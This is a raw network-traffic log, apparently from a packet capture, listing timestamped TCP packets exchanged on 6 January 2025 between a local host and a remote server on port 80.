Jan 6, 2025 07:54:06.565722942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565737963 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565737963 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565754890 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565764904 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565768003 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565782070 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565793037 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565793991 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565817118 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565882921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565892935 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565905094 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565926075 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565932989 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565938950 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565949917 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565956116 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565959930 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565967083 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565979004 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565979004 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565994024 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566008091 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566009998 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566019058 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566021919 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566057920 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566082954 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566101074 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566112041 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566122055 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566124916 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566133022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566143036 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566154003 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566154957 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.566180944 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.566195011 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648153067 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648165941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648175955 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648230076 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648241043 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648252010 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648256063 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648294926 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648355007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648366928 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648376942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648407936 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648431063 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648446083 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648454905 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648466110 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648477077 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648485899 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648489952 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648509979 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648516893 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648550987 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648595095 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648605108 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648614883 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648626089 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648648977 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648668051 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648669958 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.648680925 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648690939 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.648719072 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649318933 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649328947 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649344921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649355888 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649368048 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649373055 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649394035 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649403095 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649420977 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649432898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649444103 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649475098 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649560928 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649571896 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649584055 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649594069 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649615049 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649638891 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649653912 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649665117 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649674892 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649684906 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649693012 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649713039 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649718046 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649729967 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649739027 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649765015 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649771929 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649775982 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649789095 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649806023 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649816036 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649838924 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649853945 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649892092 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649916887 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649929047 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649939060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649950981 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649961948 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649970055 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.649974108 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.649981022 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.650000095 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.650059938 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.650109053 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653296947 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653346062 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653356075 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653395891 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653395891 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653407097 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653418064 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653428078 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653434038 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653441906 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653451920 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653469086 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653495073 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653532028 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653585911 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653587103 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653599024 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653635979 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653655052 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653666973 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653677940 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653687954 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653706074 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653719902 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653759956 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653770924 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653781891 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653793097 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653804064 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653804064 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653839111 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653877974 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653888941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653898954 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653908968 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653925896 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653929949 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653937101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653939962 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653949022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653954029 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653956890 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.653960943 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653971910 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653983116 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.653995991 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654022932 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654030085 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654036999 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654047966 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654058933 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654068947 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654073000 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654099941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654108047 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654112101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654129028 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654139996 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654150963 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654154062 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654161930 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654191971 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654191971 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654215097 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654226065 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654236078 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654251099 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654256105 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654263020 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654268026 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654280901 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654310942 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654357910 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654373884 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654383898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654395103 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654400110 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654407978 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654418945 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654431105 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654434919 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654443026 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654452085 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654469013 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654479027 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654485941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.654488087 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.654524088 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.717616081 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.780998945 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781023026 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781033993 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781053066 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781064987 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781088114 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781100035 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781114101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781119108 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781130075 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781138897 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781141996 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781172037 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781191111 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781203032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781213999 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781232119 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781255960 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781259060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781277895 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781290054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781301975 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781318903 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781347036 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781352997 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781358957 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781369925 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781403065 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781411886 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781421900 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781428099 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781434059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781470060 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781900883 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781913042 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781925917 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781939030 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781943083 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781958103 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781970024 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.781970978 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781986952 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.781996012 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782000065 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782008886 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782020092 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782021999 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782052040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782061100 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782063007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782092094 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782432079 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782450914 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782464027 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782474041 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782507896 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782583952 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782601118 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782613039 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782618046 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782623053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782629013 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782639980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782649994 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782653093 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782661915 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782680988 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782691956 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782701969 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782711983 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782728910 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782737017 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782761097 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782780886 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782793045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782804012 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782819986 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782823086 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782850027 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782901049 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782923937 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782936096 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.782959938 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.782982111 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783001900 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783013105 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783025980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783042908 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783052921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783060074 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783092976 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783112049 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783123016 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783128023 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783173084 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783205032 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783210039 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783221960 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783235073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783252001 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783262968 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783265114 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783278942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783297062 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783307076 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783307076 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783324957 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783327103 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783345938 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783354998 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783359051 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783370018 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783380985 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783399105 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783432007 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783565044 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783576965 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783593893 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783603907 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783610106 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783621073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783632040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783642054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783653021 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783663988 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783674955 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783680916 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783691883 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.783802986 CET	49713	80	192.168.2.5	166.62.27.188
